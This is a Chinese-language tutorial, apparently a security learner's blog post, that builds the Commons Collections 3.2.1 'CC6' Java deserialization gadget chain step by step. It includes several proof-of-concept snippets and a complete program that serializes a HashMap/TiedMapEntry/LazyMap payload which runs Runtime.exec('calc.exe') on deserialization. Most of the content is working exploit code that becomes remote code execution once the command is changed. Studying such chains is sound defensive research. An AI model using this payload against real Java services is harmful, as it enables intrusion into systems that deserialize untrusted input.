CC6
依赖
1 2 3 4 5 6 7 8
| <dependencies> <!-- https: <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
准备
可以看着那个ysoserial的顺序推:
ysoserial/src/main/java/ysoserial/payloads/CommonsCollections6.java at master · frohoff/ysoserial
好处是不限制JDK版本也不限制CC的版本,比较万能。
编写
首先是LazyMap
的get
调用ChainedTransformer
的transform
然后ChainedTransformer
再继续调用InvokerTransformer
的transform
再调用Method
的invoke
然后调用Runtime
的exec
我们就可以先写Poc:
1 2 3 4 5 6 7 8 9
| Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); lazyMap.get("test");
|
测试命令执行。
然后继续往前,寻找哪里使用了这个get
方法
然后找getValue
hashCode
调用
TiedMapEntry
是直接实例化就可以赋值
然后修改poc:
1 2 3 4 5 6 7 8 9 10
| Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "natro92"); tiedMapEntry.hashCode();
|
可以命令执行。
然后继续找下去,hash
调用了hashCode
再找put
然后就是readObject
就可以继续编写下去:
1 2 3 4 5 6 7 8 9 10 11 12
| Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "natro92");
HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "natro92");
|
这里的HashMap
的put
会导致提前调用hash
,会在序列化前命令执行。可以新建LazyMap
对象传入个Transformer
对象,再通过反射改回。
但是这里并没有弹出计算器,我们断点进去看看。
如果map
没包含这个key
,就给map
传入这个键值对,如果map
已经存在这个key
就不会执行这里。
所以需要将hashMap
的put
执行后将lazyMap
的key
删除掉。
这里说实话,我没太理解。
但是remove
了之后确实可以😵。
完整Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package com.natro92;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue;
public class CC6Test { public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "2"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "3"); lazyMap.remove("2"); setFieldValue(lazyMap, "factory", chainedTransformer);
serialize(hashMap); deserialize("secret.bin"); }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Class<? extends Object> _class = object.getClass(); Field declaredField = _class.getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(object, value); }
public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin"))); objectOutputStream.writeObject(object); }
public static Object deserialize(String fileName) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName))); return objectInputStream.readObject(); } }
|